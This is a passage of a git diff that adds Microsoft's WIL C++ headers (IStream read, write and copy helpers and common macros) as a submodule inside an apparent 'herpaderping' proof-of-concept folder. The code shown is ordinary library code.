RETURN_IF_FAILED(wil::stream_seek_from_current_position_nothrow(source, 16, &newPosition)); + ~~~~ + @param stream The stream whose location is to be moved + @param amount The offset, in bytes, to seek the stream. + @param value Set to the new absolute steam position, in bytes + */ + inline HRESULT stream_seek_from_current_position_nothrow(_In_ IStream* stream, long long amount, _Out_opt_ unsigned long long* value = nullptr) + { + return stream_seek_nothrow(stream, amount, STREAM_SEEK_CUR, value); + } + + /** Determine the current byte position in the stream + ~~~~ + IStream* source = // ... + ULONGLONG currentPos; + RETURN_IF_FAILED(wil::stream_get_position_nothrow(source, ¤tPos)); + ~~~~ + @param stream The stream whose location is to be moved + @param position Set to the current absolute steam position, in bytes + */ + inline HRESULT stream_get_position_nothrow(_In_ IStream* stream, _Out_ unsigned long long* position) + { + return stream_seek_from_current_position_nothrow(stream, 0, position); + } + + /** Moves the stream to absolute position 0 + ~~~~ + IStream* source = // ... + RETURN_IF_FAILED(wil::stream_reset_nothrow(source)); + ~~~~ + @param stream The stream whose location is to be moved + */ + inline HRESULT stream_reset_nothrow(_In_ IStream* stream) + { + return stream_set_position_nothrow(stream, 0); + } + + /** Copy data from one stream to another, returning the final amount copied. + ~~~~ + IStream* source = // ... + IStream* target = // ... + ULONGLONG copied; + RETURN_IF_FAILED(wil::stream_copy_bytes_nothrow(source, target, sizeof(MyType), &copied)); + if (copied < sizeof(MyType)) + { + DoSomethingAboutPartialCopy(); + } + ~~~~ + @param source The stream from which to copy at most `amount` bytes + @param target The steam to which to copy at most `amount` bytes + @param amount The maximum number of bytes to copy from `source` to `target` + @param pCopied If non-null, set to the number of bytes copied between the two. + */ + inline HRESULT stream_copy_bytes_nothrow(_In_ IStream* source, _In_ IStream* target, unsigned long long amount, _Out_opt_ unsigned long long* pCopied = nullptr) + { + ULARGE_INTEGER toCopy; + ULARGE_INTEGER copied; + toCopy.QuadPart = amount; + RETURN_IF_FAILED(source->CopyTo(target, toCopy, nullptr, &copied)); + assign_to_opt_param(pCopied, copied.QuadPart); + + return S_OK; + } + + /** Copy all data from one stream to another, returning the final amount copied. + ~~~~ + IStream* source = // ... + IStream* target = // ... + ULONGLONG copied; + RETURN_IF_FAILED(wil::stream_copy_all_nothrow(source, target, &copied)); + if (copied < 8) + { + DoSomethingAboutPartialCopy(); + } + ~~~~ + @param source The stream from which to copy all content + @param target The steam to which to copy all content + @param pCopied If non-null, set to the number of bytes copied between the two. + */ + inline HRESULT stream_copy_all_nothrow(_In_ IStream* source, _In_ IStream* target, _Out_opt_ unsigned long long* pCopied = nullptr) + { + return stream_copy_bytes_nothrow(source, target, ULLONG_MAX, pCopied); + } + + /** Copies an exact amount of data from one stream to another, failing otherwise + ~~~~ + IStream* source = // ... + IStream* target = // ... + RETURN_IF_FAILED(wil::stream_copy_all_nothrow(source, target, 16)); + ~~~~ + @param source The stream from which to copy at most `amount` bytes + @param target The steam to which to copy at most `amount` bytes + @param amount The number of bytes to copy from `source` to `target` + */ + inline HRESULT stream_copy_exact_nothrow(_In_ IStream* source, _In_ IStream* target, unsigned long long amount) + { + unsigned long long copied; + RETURN_IF_FAILED(stream_copy_bytes_nothrow(source, target, ULLONG_MAX, &copied)); + RETURN_HR_IF(HRESULT_FROM_WIN32(ERROR_INVALID_DATA), copied != amount); + + return S_OK; + } + + //! Controls behavior when reading a zero-length string from a stream + enum class empty_string_options + { + //! Zero-length strings are returned as nullptr + returns_null, + + //! Zero-length strings are allocated and returned with zero characters + returns_empty, + }; + +#ifdef __WIL_OBJBASE_H_ + + /** Read a string from a stream and returns an allocated copy + Deserializes strings in streams written by both IStream_WriteStr and wil::stream_write_string[_nothrow]. The format + is a single 16-bit quantity, followed by that many wchar_ts. The returned string is allocated with CoTaskMemAlloc. + Returns a zero-length (but non-null) string if the stream contained a zero-length string. + ~~~~ + IStream* source = // ... + wil::unique_cotaskmem_string content; + RETURN_IF_FAILED(wil::stream_read_string_nothrow(source, &content)); + if (wcscmp(content.get(), L"waffles") == 0) + { + // Waffles! + } + ~~~~ + @param source The stream from which to read a string + @param value Set to point to the allocated result of reading a string from `source` + */ + inline HRESULT stream_read_string_nothrow( + _In_ ISequentialStream* source, + _When_(options == empty_string_options::returns_empty, _Outptr_result_z_) _When_(options == empty_string_options::returns_null, _Outptr_result_maybenull_z_) wchar_t** value, + empty_string_options options = empty_string_options::returns_empty) + { + unsigned short cch; + RETURN_IF_FAILED(stream_read_nothrow(source, &cch)); + + if ((cch == 0) && (options == empty_string_options::returns_null)) + { + *value = nullptr; + } + else + { + auto allocated = make_unique_cotaskmem_nothrow(static_cast(cch) + 1); + RETURN_IF_NULL_ALLOC(allocated); + RETURN_IF_FAILED(stream_read_nothrow(source, allocated.get(), static_cast(cch) * sizeof(wchar_t))); + allocated[cch] = 0; + + *value = allocated.release(); + } + + return S_OK; + } + +#endif // __WIL_OBJBASE_H + + /** Write a string to a stream + Serializes a string into a stream by putting its length and then the wchar_ts in the string + into the stream. Zero-length strings have their length but no data written. This is the + form expected by IStream_ReadStr and wil::string_read_stream. + ~~~~ + IStream* target = // ... + RETURN_IF_FAILED(wil::stream_write_string_nothrow(target, L"Waffles", 3)); + // Produces wchar_t[] { 0x3, L'W', L'a', L'f' }; + ~~~~ + @param target The stream to which to write a string + @param source The string to write. Can be null if `writeLength` is zero + @param writeLength The number of characters to write from source into `target` + */ + inline HRESULT stream_write_string_nothrow(_In_ ISequentialStream* target, _In_reads_opt_(writeLength) const wchar_t* source, _In_ size_t writeLength) + { + FAIL_FAST_IF(writeLength > USHRT_MAX); + + RETURN_IF_FAILED(stream_write_nothrow(target, static_cast(writeLength))); + + if (writeLength > 0) + { + RETURN_IF_FAILED(stream_write_nothrow(target, source, static_cast(writeLength) * sizeof(wchar_t))); + } + + return S_OK; + } + + /** Write a string to a stream + Serializes a string into a stream by putting its length and then the wchar_ts in the string + into the stream. Zero-length strings have their length but no data written. This is the + form expected by IStream_ReadStr and wil::string_read_stream. + ~~~~ + IStream* target = // ... + RETURN_IF_FAILED(wil::stream_write_string_nothrow(target, L"Waffles")); + // Produces wchar_t[] { 0x3, L'W', L'a', L'f', L'f', L'l', L'e', L's' }; + ~~~~ + @param target The stream to which to write a string + @param source The string to write. When nullptr, a zero-length string is written. + */ + inline HRESULT stream_write_string_nothrow(_In_ ISequentialStream* target, _In_opt_z_ const wchar_t* source) + { + return stream_write_string_nothrow(target, source, source ? wcslen(source) : 0); + } + +#ifdef WIL_ENABLE_EXCEPTIONS + + /** Read data from a stream into a buffer. + ~~~~ + IStream* source = // ... + ULONG dataBlob = 0; + auto read = wil::stream_read_partial(source, &dataBlob, sizeof(dataBlob)); + if (read != sizeof(dataBlob)) + { + // end of stream, probably + } + else if (dataBlob == 0x8675309) + { + DoThing(dataBlob); + } + ~~~~ + @param stream The stream from which to read at most `size` bytes. + @param data A buffer into which up to `size` bytes will be read + @param size The size, in bytes, of the buffer pointed to by `data` + @return The amount, in bytes, of data read from `stream` into `data` + */ + inline unsigned long stream_read_partial(_In_ ISequentialStream* stream, _Out_writes_bytes_to_(size, return) void* data, unsigned long size) + { + unsigned long didRead; + THROW_IF_FAILED(stream_read_partial_nothrow(stream, data, size, &didRead)); + + return didRead; + } + + /** Read an exact number of bytes from a stream into a buffer. + Fails if the stream didn't read all the bytes requested by throwing HRESULT_FROM_WIN32(ERROR_INVALID_DATA). + ~~~~ + IStream* source = // ... + ULONG dataBlob = 0; + wil::stream_read(source, &dataBlob, sizeof(dataBlob)); + if (dataBlob == 0x8675309) + { + DoThing(dataBlob); + } + ~~~~ + @param stream The stream from which to read at most `size` bytes. + @param data A buffer into which up to `size` bytes will be read + @param size The size, in bytes, of the buffer pointed to by `data` + */ + inline void stream_read(_In_ ISequentialStream* stream, _Out_writes_bytes_all_(size) void* data, unsigned long size) + { + THROW_HR_IF(HRESULT_FROM_WIN32(ERROR_INVALID_DATA), stream_read_partial(stream, data, size) != size); + } + + /** Read from a stream into a POD type. + Fails if the stream didn't have enough bytes by throwing HRESULT_FROM_WIN32(ERROR_INVALID_DATA). + ~~~~ + IStream* source = // ... + MY_HEADER header = wil::stream_read(source); + if (header.Version == 0x8675309) + { + ConsumeOldHeader(stream, header); + } + ~~~~ + @param stream The stream from which to read at most `sizeof(T)` bytes. + @return An instance of `T` read from the stream + */ + template T stream_read(_In_ ISequentialStream* stream) + { + static_assert(__is_pod(T), "Read type must be POD"); + T temp{}; + stream_read(stream, &temp, sizeof(temp)); + + return temp; + } + + /** Write an exact number of bytes to a stream from a buffer. + Fails if the stream didn't read write the bytes requested. + ~~~~ + IStream* source = // ... + ULONG dataBlob = 0; + wil::stream_write(source, dataBlob, sizeof(dataBlob)); + ~~~~ + @param stream The stream to which to write at most `size` bytes. + @param data A buffer from which up to `size` bytes will be read + @param size The size, in bytes, of the buffer pointed to by `data` + */ + inline void stream_write(_In_ ISequentialStream* stream, _In_reads_bytes_(size) const void* data, unsigned long size) + { + THROW_IF_FAILED(stream_write_nothrow(stream, data, size)); + } + + /** Write a POD type to a stream. + Fails if the stream didn't accept the entire size. + ~~~~ + IStream* target = // ... + + MY_HEADER header { 0x8675309, HEADER_FLAG_1 | HEADER_FLAG_2 }; + wil::stream_write(target, header) + + wil::stream_write(target, 16); + ~~~~ + @param stream The stream to which to write `thing` + @param thing The POD data type to write to the stream. + */ + template inline void stream_write(_In_ ISequentialStream* stream, const T& thing) + { + stream_write(stream, wistd::addressof(thing), sizeof(thing)); + } + + /** Retrieve the size of this stream, in bytes + ~~~~ + IStream* source = // ... + ULONGLONG size = wil::stream_size(source); + ~~~~ + @param stream The stream whose size is to be returned in `value` + @return The size, in bytes, reported by `stream` + */ + inline unsigned long long stream_size(_In_ IStream* stream) + { + unsigned long long size; + THROW_IF_FAILED(stream_size_nothrow(stream, &size)); + + return size; + } + + /** Seek a stream to an absolute offset + ~~~~ + IStream* source = // ... + wil::stream_set_position(source, sizeof(HEADER)); + ~~~~ + @param stream The stream whose size is to be returned in `value` + @param offset The offset, in bytes, to seek the stream. + @return The new absolute stream position, in bytes + */ + inline unsigned long long stream_set_position(_In_ IStream* stream, unsigned long long offset) + { + unsigned long long landed; + THROW_IF_FAILED(stream_set_position_nothrow(stream, offset, &landed)); + return landed; + } + + /** Seek a relative amount in a stream + ~~~~ + IStream* source = // ... + ULONGLONG newPosition = wil::stream_seek_from_current_position(source, 16); + ~~~~ + @param stream The stream whose location is to be moved + @param amount The offset, in bytes, to seek the stream. + @return The new absolute stream position, in bytes + */ + inline unsigned long long stream_seek_from_current_position(_In_ IStream* stream, long long amount) + { + unsigned long long landed; + THROW_IF_FAILED(stream_seek_from_current_position_nothrow(stream, amount, &landed)); + + return landed; + } + + /** Determine the current byte position in the stream + ~~~~ + IStream* source = // ... + ULONGLONG currentPos = wil::stream_get_position(source); + ~~~~ + @param stream The stream whose location is to be moved + @return The current position reported by `stream` + */ + inline unsigned long long stream_get_position(_In_ IStream* stream) + { + return stream_seek_from_current_position(stream, 0); + } + + /** Moves the stream to absolute position 0 + ~~~~ + IStream* source = // ... + wil::stream_reset(source); + ASSERT(wil::stream_get_position(source) == 0); + ~~~~ + @param stream The stream whose location is to be moved + */ + inline void stream_reset(_In_ IStream* stream) + { + stream_set_position(stream, 0); + } + + /** Copy data from one stream to another + ~~~~ + IStream* source = // ... + IStream* target = // ... + ULONGLONG copied = ; + if (wil::stream_copy_bytes(source, target, sizeof(Header)) < sizeof(Header)) + { + DoSomethingAboutPartialCopy(); + } + ~~~~ + @param source The stream from which to copy at most `amount` bytes + @param target The steam to which to copy at most `amount` bytes + @param amount The maximum number of bytes to copy from `source` to `target` + @return The number of bytes copied between the two streams + */ + inline unsigned long long stream_copy_bytes(_In_ IStream* source, _In_ IStream* target, unsigned long long amount) + { + unsigned long long copied; + THROW_IF_FAILED(stream_copy_bytes_nothrow(source, target, amount, &copied)); + + return copied; + } + + /** Copy all data from one stream to another + ~~~~ + IStream* source = // ... + IStream* target = // ... + ULONGLONG copied = wil::stream_copy_all(source, target); + ~~~~ + @param source The stream from which to copy all content + @param target The steam to which to copy all content + @return The number of bytes copied between the two. + */ + inline unsigned long long stream_copy_all(_In_ IStream* source, _In_ IStream* target) + { + return stream_copy_bytes(source, target, ULLONG_MAX); + } + + /** Copies an exact amount of data from one stream to another, failing otherwise + ~~~~ + IStream* source = // ... + IStream* target = // ... + wil::stream_copy_all_nothrow(source, target, sizeof(SOMETHING)); + ~~~~ + @param source The stream from which to copy at most `amount` bytes + @param target The steam to which to copy at most `amount` bytes + @param amount The number of bytes to copy from `source` to `target` + */ + inline void stream_copy_exact(_In_ IStream* source, _In_ IStream* target, unsigned long long amount) + { + THROW_HR_IF(HRESULT_FROM_WIN32(ERROR_INVALID_DATA), stream_copy_bytes(source, target, amount) != amount); + } + +#ifdef __WIL_OBJBASE_H_ + + /** Read a string from a stream and returns an allocated copy + Deserializes strings in streams written by both IStream_WriteStr and wil::stream_write_string[_nothrow]. The format + is a single 16-bit quantity, followed by that many wchar_ts. The returned string is allocated with CoTaskMemAlloc. + Returns a zero-length (but non-null) string if the stream contained a zero-length string. + ~~~~ + IStream* source = // ... + wil::unique_cotaskmem_string content = wil::stream_read_string(source); + if (wcscmp(content.get(), L"waffles") == 0) + { + // Waffles! + } + ~~~~ + @param source The stream from which to read a string + @return An non-null string (but possibly zero lengh) string read from `source` + */ + inline wil::unique_cotaskmem_string stream_read_string(_In_ ISequentialStream* source, empty_string_options options = empty_string_options::returns_empty) + { + wil::unique_cotaskmem_string result; + THROW_IF_FAILED(stream_read_string_nothrow(source, &result, options)); + + return result; + } + +#endif // __WIL_OBJBASE_H + + /** Write a string to a stream + Serializes a string into a stream by putting its length and then the wchar_ts in the string + into the stream. Zero-length strings have their length but no data written. This is the + form expected by IStream_ReadStr and wil::string_read_stream. + ~~~~ + IStream* target = // ... + wil::stream_write_string(target, L"Waffles", 3); + ~~~~ + @param target The stream to which to write a string + @param source The string to write. Can be null if `writeLength` is zero + @param writeLength The number of characters to write from source into `target` + */ + inline void stream_write_string(_In_ ISequentialStream* target, _In_reads_opt_(toWriteCch) const wchar_t* source, _In_ size_t toWriteCch) + { + THROW_IF_FAILED(stream_write_string_nothrow(target, source, toWriteCch)); + } + + /** Write a string to a stream + Serializes a string into a stream by putting its length and then the wchar_ts in the string + into the stream. Zero-length strings have their length but no data written.This is the + form expected by IStream_ReadStr and wil::string_read_stream. + ~~~~ + IStream* target = // ... + wil::stream_write_string(target, L"Waffles"); + ~~~~ + @param target The stream to which to write a string + @param source The string to write. When nullptr, a zero-length string is written. + */ + inline void stream_write_string(_In_ ISequentialStream* target, _In_opt_z_ const wchar_t* source) + { + THROW_IF_FAILED(stream_write_string_nothrow(target, source, source ? wcslen(source) : 0)); + } + + /** Saves and restores the position of a stream + Useful for potentially reading data from a stream, or being able to read ahead, then reset + back to where one left off, such as conditionally reading content from a stream. + ~~~~ + void MaybeConsumeStream(IStream* stream) + { + // On error, reset the read position in the stream to where we left off + auto saver = wil::stream_position_saver(stream); + auto header = wil::stream_read(stream); + for (ULONG i = 0; i < header.Count; ++i) + { + ProcessElement(wil::stream_read(stream)); + } + } + ~~~~ + */ + class stream_position_saver + { + public: + //! Constructs a saver from the current position of this stream + //! @param stream The stream instance whose position is to be saved. + explicit stream_position_saver(_In_opt_ IStream* stream) : + m_stream(stream), + m_position(stream ? stream_get_position(stream) : 0) + { + } + + ~stream_position_saver() + { + if (m_stream) + { + LOG_IF_FAILED(stream_set_position_nothrow(m_stream.get(), m_position)); + } + } + + /** Updates the current position in the stream + ~~~~ + // Read a size marker from the stream, then advance that much. + IStream* stream1 = // ... + auto saver = wil::stream_position_saver(stream1); + auto size = wil::stream_read(stream1); + wil::stream_seek_from_current_position(stream, size); + saver.update(); + ~~~~ + */ + void update() + { + m_position = stream_get_position(m_stream.get()); + } + + //! Returns the current position being saved for the stream + //! @returns The position, in bytes, being saved for the stream + unsigned long long position() const + { + return m_position; + } + + /** Resets the position saver to manage a new stream + Reverts the position of any stream this saver is currently holding a place for. + ~~~~ + IStream* stream1 = // ... + IStream* stream2 = // ... + auto saver = wil::stream_position_saver(stream1); + if (wil::stream_read(stream1).Flags != 0) + { + saver.reset(stream2); // position in stream1 is reverted, now holding stream2 + } + ~~~~ + @param stream The stream whose position is to be saved + */ + void reset(_In_ IStream* stream) + { + reset(); + + m_stream = stream; + m_position = wil::stream_get_position(m_stream.get()); + } + + /** Resets the position of the stream + ~~~~ + IStream* stream1 = // ... + auto saver = wil::stream_position_saver(stream1); + MyType mt = wil::stream_read(stream1); + if (mt.Flags & MyTypeFlags::Extended) + { + saver.reset(); + ProcessExtended(stream1, wil::stream_read(stream1)); + } + else + { + ProcessStandard(stream1, mt); + } + ~~~~ + */ + void reset() + { + if (m_stream) + { + wil::stream_set_position(m_stream.get(), m_position); + } + } + + /** Stops saving the position of the stream + ~~~~ + // The stream has either a standard or extended header, followed by interesting content. + // Read either one, leaving the stream after the headers have been read off. On failure, + // the stream's position is restored. + std::pair get_headers(_In_ IStream* source) + { + auto saver = wil::stream_position_saver(stream1); + MyType mt = wil::stream_read(stream1); + MyTypeExtended mte{}; + if (mt.Flags & MyTypeFlags::Extended) + { + mte = wil::stream_read(stream1); + } + saver.dismiss(); + return { mt, mte }; + } + ~~~~ + */ + void dismiss() + { + m_stream.reset(); + } + + stream_position_saver(stream_position_saver&&) = default; + stream_position_saver& operator=(stream_position_saver&&) = default; + + stream_position_saver(const stream_position_saver&) = delete; + void operator=(const stream_position_saver&) = delete; + + private: + com_ptr m_stream; + unsigned long long m_position; + }; +#endif // WIL_ENABLE_EXCEPTIONS +#pragma endregion // stream helpers + +#if defined(__IObjectWithSite_INTERFACE_DEFINED__) + /// @cond + namespace details + { + inline void __stdcall SetSiteNull(IObjectWithSite* objWithSite) + { + objWithSite->SetSite(nullptr); // break the cycle + } + } // details + /// @endcond + + using unique_set_site_null_call = wil::unique_com_call; + + /** RAII support for managing the site chain. This function sets the site pointer on an object and return an object + that resets it on destruction to break the cycle. + Note, this does not preserve the existing site if there is one (an uncommon case) so only use this when that is not required. + ~~~ + auto cleanup = wil::com_set_site(execCommand.get(), serviceProvider->GetAsSite()); + ~~~ + Include ocidl.h before wil\com.h to use this. + */ + WI_NODISCARD inline unique_set_site_null_call com_set_site(_In_opt_ IUnknown* obj, _In_opt_ IUnknown* site) + { + wil::com_ptr_nothrow objWithSite; + if (site && wil::try_com_copy_to(obj, &objWithSite)) + { + objWithSite->SetSite(site); + } + return unique_set_site_null_call(objWithSite.get()); + } + + /** Iterate over each object in a site chain. Useful for debugging site issues, here is sample use. + ~~~ + void OutputDebugSiteChainWatchWindowText(IUnknown* site) + { + OutputDebugStringW(L"Copy and paste these entries into the Visual Studio Watch Window\n"); + wil::for_each_site(site, [](IUnknown* site) + { + wchar_t msg[64]; + StringCchPrintfW(msg, ARRAYSIZE(msg), L"((IUnknown*)0x%p)->__vfptr[0]\n", site); + OutputDebugStringW(msg); + }); + } + */ + + template + void for_each_site(_In_opt_ IUnknown* siteInput, TLambda&& callback) + { + wil::com_ptr_nothrow site(siteInput); + while (site) + { + callback(site.get()); + auto objWithSite = site.try_query(); + site.reset(); + if (objWithSite) + { + objWithSite->GetSite(IID_PPV_ARGS(&site)); + } + } + } + +#endif // __IObjectWithSite_INTERFACE_DEFINED__ + +} // wil + +#endif diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/common.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/common.h new file mode 100644 index 00000000..a7aa0f5c --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/common.h @@ -0,0 +1,748 @@ +//********************************************************* +// +// Copyright (c) Microsoft. All rights reserved. +// This code is licensed under the MIT License. +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF +// ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED +// TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A +// PARTICULAR PURPOSE AND NONINFRINGEMENT. +// +//********************************************************* +#ifndef __WIL_COMMON_INCLUDED +#define __WIL_COMMON_INCLUDED + +#if defined(_KERNEL_MODE ) && !defined(__WIL_MIN_KERNEL) +// This define indicates that the WIL usage is in a kernel mode context where +// a high degree of WIL functionality is desired. +// +// Use (sparingly) to change behavior based on whether WIL is being used in kernel +// mode or user mode. +#define WIL_KERNEL_MODE +#endif + +// Defining WIL_HIDE_DEPRECATED will hide everything deprecated. +// Each wave of deprecation will add a new WIL_HIDE_DEPRECATED_YYMM number that can be used to lock deprecation at +// a particular point, allowing components to avoid backslide and catch up to the current independently. +#ifdef WIL_HIDE_DEPRECATED +#define WIL_HIDE_DEPRECATED_1809 +#endif +#ifdef WIL_HIDE_DEPRECATED_1809 +#define WIL_HIDE_DEPRECATED_1612 +#endif +#ifdef WIL_HIDE_DEPRECATED_1612 +#define WIL_HIDE_DEPRECATED_1611 +#endif + +// Implementation side note: ideally the deprecation would be done with the function-level declspec +// as it allows you to utter the error text when used. The declspec works, but doing it selectively with +// a macro makes intellisense deprecation comments not work. So we just use the #pragma deprecation. +#ifdef WIL_WARN_DEPRECATED +#define WIL_WARN_DEPRECATED_1809 +#endif +#ifdef WIL_WARN_DEPRECATED_1809 +#define WIL_WARN_DEPRECATED_1612 +#endif +#ifdef WIL_WARN_DEPRECATED_1612 +#define WIL_WARN_DEPRECATED_1611 +#endif +#ifdef WIL_WARN_DEPRECATED_1809 +#define WIL_WARN_DEPRECATED_1809_PRAGMA(...) __pragma(deprecated(__VA_ARGS__)) +#else +#define WIL_WARN_DEPRECATED_1809_PRAGMA(...) +#endif +#ifdef WIL_WARN_DEPRECATED_1611 +#define WIL_WARN_DEPRECATED_1611_PRAGMA(...) __pragma(deprecated(__VA_ARGS__)) +#else +#define WIL_WARN_DEPRECATED_1611_PRAGMA(...) +#endif +#ifdef WIL_WARN_DEPRECATED_1612 +#define WIL_WARN_DEPRECATED_1612_PRAGMA(...) __pragma(deprecated(__VA_ARGS__)) +#else +#define WIL_WARN_DEPRECATED_1612_PRAGMA(...) +#endif + +#if defined(_MSVC_LANG) +#define __WI_SUPPRESS_4127_S __pragma(warning(push)) __pragma(warning(disable:4127)) __pragma(warning(disable:26498)) __pragma(warning(disable:4245)) +#define __WI_SUPPRESS_4127_E __pragma(warning(pop)) +#define __WI_SUPPRESS_NULLPTR_ANALYSIS __pragma(warning(suppress:28285)) __pragma(warning(suppress:6504)) +#define __WI_SUPPRESS_NONINIT_ANALYSIS __pragma(warning(suppress:26495)) +#define __WI_SUPPRESS_NOEXCEPT_ANALYSIS __pragma(warning(suppress:26439)) +#else +#define __WI_SUPPRESS_4127_S +#define __WI_SUPPRESS_4127_E +#define __WI_SUPPRESS_NULLPTR_ANALYSIS +#define __WI_SUPPRESS_NONINIT_ANALYSIS +#define __WI_SUPPRESS_NOEXCEPT_ANALYSIS +#endif + +#include + +// Some SAL remapping / decoration to better support Doxygen. Macros that look like function calls can +// confuse Doxygen when they are used to decorate a function or variable. We simplify some of these to +// basic macros without the function for common use cases. +/// @cond +#define _Success_return_ _Success_(return) +#define _Success_true_ _Success_(true) +#define __declspec_noinline_ __declspec(noinline) +#define __declspec_selectany_ __declspec(selectany) +/// @endcond + +//! @defgroup macrobuilding Macro Composition +//! The following macros are building blocks primarily intended for authoring other macros. +//! @{ + +//! Re-state a macro value (indirection for composition) +#define WI_FLATTEN(...) __VA_ARGS__ + +/// @cond +#define __WI_PASTE_imp(a, b) a##b +/// @endcond + +//! This macro is for use in other macros to paste two tokens together, such as a constant and the __LINE__ macro. +#define WI_PASTE(a, b) __WI_PASTE_imp(a, b) + +/// @cond +#define __WI_HAS_VA_OPT_IMPL(F, T, ...) T +#define __WI_HAS_VA_OPT_(...) __WI_HAS_VA_OPT_IMPL(__VA_OPT__(0,) 1, 0) +/// @endcond + +//! Evaluates to '1' when support for '__VA_OPT__' is available, else '0' +#define WI_HAS_VA_OPT __WI_HAS_VA_OPT_(unused) + +/// @cond +#define __WI_ARGS_COUNT1(A0, A1, A2, A3, A4, A5, A6, A7, A8, A9, A10, A11, A12, A13, A14, A15, A16, A17, A18, A19, A20, A21, A22, A23, A24, A25, A26, A27, A28, A29, \ + A30, A31, A32, A33, A34, A35, A36, A37, A38, A39, A40, A41, A42, A43, A44, A45, A46, A47, A48, A49, A50, A51, A52, A53, A54, A55, A56, A57, A58, A59, \ + A60, A61, A62, A63, A64, A65, A66, A67, A68, A69, A70, A71, A72, A73, A74, A75, A76, A77, A78, A79, A80, A81, A82, A83, A84, A85, A86, A87, A88, A89, \ + A90, A91, A92, A93, A94, A95, A96, A97, A98, A99, count, ...) count +#define __WI_ARGS_COUNT0(...) WI_FLATTEN(__WI_ARGS_COUNT1(__VA_ARGS__, 99, 98, 97, 96, 95, 94, 93, 92, 91, 90, 89, 88, 87, 86, 85, 84, 83, 82, 81, 80, \ + 79, 78, 77, 76, 75, 74, 73, 72, 71, 70, 69, 68, 67, 66, 65, 64, 63, 62, 61, 60, 59, 58, 57, 56, 55, 54, 53, 52, 51, 50, 49, 48, 47, 46, 45, 44, 43, 42, 41, 40, \ + 39, 38, 37, 36, 35, 34, 33, 32, 31, 30, 29, 28, 27, 26, 25, 24, 23, 22, 21, 20, 19, 18, 17, 16, 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0)) +#define __WI_ARGS_COUNT_PREFIX(...) 0, __VA_ARGS__ +/// @endcond + +//! This variadic macro returns the number of arguments passed to it (up to 99). +#if WI_HAS_VA_OPT +#define WI_ARGS_COUNT(...) __WI_ARGS_COUNT0(0 __VA_OPT__(, __VA_ARGS__)) +#else +#define WI_ARGS_COUNT(...) __WI_ARGS_COUNT0(__WI_ARGS_COUNT_PREFIX(__VA_ARGS__)) +#endif + +/// @cond +#define __WI_FOR_imp0( fn) +#define __WI_FOR_imp1( fn, arg) fn(arg) +#define __WI_FOR_imp2( fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp1(fn, __VA_ARGS__)) +#define __WI_FOR_imp3( fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp2(fn, __VA_ARGS__)) +#define __WI_FOR_imp4( fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp3(fn, __VA_ARGS__)) +#define __WI_FOR_imp5( fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp4(fn, __VA_ARGS__)) +#define __WI_FOR_imp6( fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp5(fn, __VA_ARGS__)) +#define __WI_FOR_imp7( fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp6(fn, __VA_ARGS__)) +#define __WI_FOR_imp8( fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp7(fn, __VA_ARGS__)) +#define __WI_FOR_imp9( fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp8(fn, __VA_ARGS__)) +#define __WI_FOR_imp10(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp9(fn, __VA_ARGS__)) +#define __WI_FOR_imp11(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp10(fn, __VA_ARGS__)) +#define __WI_FOR_imp12(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp11(fn, __VA_ARGS__)) +#define __WI_FOR_imp13(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp12(fn, __VA_ARGS__)) +#define __WI_FOR_imp14(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp13(fn, __VA_ARGS__)) +#define __WI_FOR_imp15(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp14(fn, __VA_ARGS__)) +#define __WI_FOR_imp16(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp15(fn, __VA_ARGS__)) +#define __WI_FOR_imp17(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp16(fn, __VA_ARGS__)) +#define __WI_FOR_imp18(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp17(fn, __VA_ARGS__)) +#define __WI_FOR_imp19(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp18(fn, __VA_ARGS__)) +#define __WI_FOR_imp20(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp19(fn, __VA_ARGS__)) +#define __WI_FOR_imp21(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp20(fn, __VA_ARGS__)) +#define __WI_FOR_imp22(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp21(fn, __VA_ARGS__)) +#define __WI_FOR_imp23(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp22(fn, __VA_ARGS__)) +#define __WI_FOR_imp24(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp23(fn, __VA_ARGS__)) +#define __WI_FOR_imp25(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp24(fn, __VA_ARGS__)) +#define __WI_FOR_imp26(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp25(fn, __VA_ARGS__)) +#define __WI_FOR_imp27(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp26(fn, __VA_ARGS__)) +#define __WI_FOR_imp28(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp27(fn, __VA_ARGS__)) +#define __WI_FOR_imp29(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp28(fn, __VA_ARGS__)) +#define __WI_FOR_imp30(fn, arg, ...) fn(arg) WI_FLATTEN(__WI_FOR_imp29(fn, __VA_ARGS__)) +#define __WI_FOR_imp31(fn, 